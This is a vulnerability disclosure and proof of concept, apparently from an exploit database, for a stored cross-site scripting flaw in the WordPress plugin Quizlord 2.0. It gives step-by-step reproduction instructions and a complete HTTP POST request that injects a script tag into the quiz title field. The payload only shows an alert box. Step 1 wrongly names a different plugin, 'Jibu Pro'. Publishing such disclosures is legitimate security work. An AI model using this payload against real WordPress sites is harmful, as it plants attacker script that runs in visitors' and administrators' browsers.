# Exploit Title: WordPress Plugin Quizlord 2.0 - Cross-Site Scripting# Date: 2018-08-29# Exploit Author: Renos Nikolaou# Software Link: https://downloads.wordpress.org/plugin/quizlord.zip# Version: 2.0# Tested on: Kali Linux# CVE: N/A# Description : Quizlord is prone to Stored Cross Site Scripting vulnerabilities # because it fails to properly sanitize user-supplied input.# PoC - Stored XSS - Parameter: title# 1) Login as a user who have access to Jibu Pro plugin.# 2) Quizlord --> Add a Quiz.# 3) At the title type: poc"><script>alert(1)</script>, then fill the remaining fields and click Save. # (The first pop-up will appear. Also keep note of the shortcode: [quizlord id="#"])# 4) Copy the Shortcode [quizlord id="#"] into any post or page and visit the it via browser.# Post Request (Step 3):
POST /wordpress/wp-admin/admin.php HTTP/1.1
Host: domain.com
User-Agent: Mozilla/5.0(Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://domain.com/wordpress/wp-admin/admin.php?page=quizlord
Cookie: wordpress_295cdc576d46a74a4105db5d33654g45
Connection: close
Upgrade-Insecure-Requests:1
Content-Type: application/x-www-form-urlencoded
Content-Length:188
action=ql_insert&title=poc"><script>alert(1)</script>&description=&time=0&numbtype=numerical&numbmark=&rightcolor=00FF00&wrongcolor=FF0000&showtype=paginated&addquiz=Save
